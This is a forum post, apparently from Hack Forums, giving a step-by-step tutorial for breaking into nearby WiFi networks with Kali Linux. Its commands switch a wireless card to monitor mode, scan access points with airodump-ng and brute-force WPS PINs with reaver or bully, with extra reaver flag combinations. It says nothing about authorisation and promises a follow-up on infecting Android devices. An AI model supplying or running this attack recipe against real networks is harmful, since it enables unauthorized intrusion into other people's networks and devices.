

Forum:[Hack Forums](#)

Thread: [\[TUT\] Hacking a WiFi Network with Kali Linux.](#)

The Amazing Sinner - August 24, 2020, 10:10 pm

In this short tutorial I will show you how to hack any wifi that isn't WPS locked.

You will need :

- Kali Linux or any linux OS with aircrack-ng and reaver/bully installed.
- Wifi card that supports monitor mode.

First off, load up a terminal and type "ifconfig"

My output:

```
Code wlan0: flags=67<UP,BROADCAST,RUNNING> mtu 1500
  inet 192.168.1.202 netmask 255.255.255.0 broadcast 192.168.1.255
  inet6 fe80::225:d3ff:fe90:2dc5 prefixlen 64 scopeid 0x20<link>
  ether 00:25:d3:90:2d:c5 txqueuelen 1000 (Ethernet)
  RX packets 28662 bytes 13759103 (13.1 MiB)
  RX errors 0 dropped 8097 overruns 0 frame 0
  TX packets 5863 bytes 853058 (833.0 KiB)
  TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

You might have more things in the terminal at this point but look for wlan.

Next step is to turn off the wifi to change it to monitor mode.

To do that type this in a terminal:

```
Code ifconfig wlan0 down
```

```
iwconfig wlan0 mode monitor
```

```
ifconfig wlan0 up
```

Now your wifi should be on monitor mode. You won't have any internet connection at this point.

Type "clear" in the terminal to clear it up.

And type:

```
Code airodump-ng wlan0
```

At this point your terminal will get filled with all the wifi access points near you.

On the right side you will see ESSID that is the name of the wifi point. Once the one you are looking for shows up press ctrl+c to stop it from scanning further.

Don't close the terminal and don't clear it. You have information you need there.

Fire up another terminal and type:

```
Code reaver -i wlan0 -b BSSID_OF_THE_ACCESS_POINT -vv -c
```

```
CHANNEL_OF_THE_ACCESS_POINT
```

Now it should start doing its thing.

If you want to use bully to do this type this in a terminal:

```
Code bully -b BSSID -e ESSID -c CHANNEL wlan0
```

And it should start doing it's thing.

Note:

If reaver will give any errors try these commands

Code reaver -i wlan0 -b BSSID -c CHANNEL -A -S -N -a -vv -K 1

Code reaver -i wlan0 -b BSSID -c CHANNEL -vv -L -N -d 15 -T .5 -r 3:15

I wont get into what each command does, you can type "reaver" in a terminal and the help will show up. There you can see what each command does.

This can take up to a few hours. If you want to stop it just press CTRL+C and it should save a file so if you want to target the same access point again it will continue from where it left off.

If you want to stop and access the internet you need to type this in a terminal:

Code ifconfig wlan0 down

iwconfig wlan0 mode ad-hoc

ifconfig wlan0 up

If you want another tutorial on how to infect a android device and have full access to it on LAN let me know and I will make one. 100%.

I hope this short tutorial helped some of you.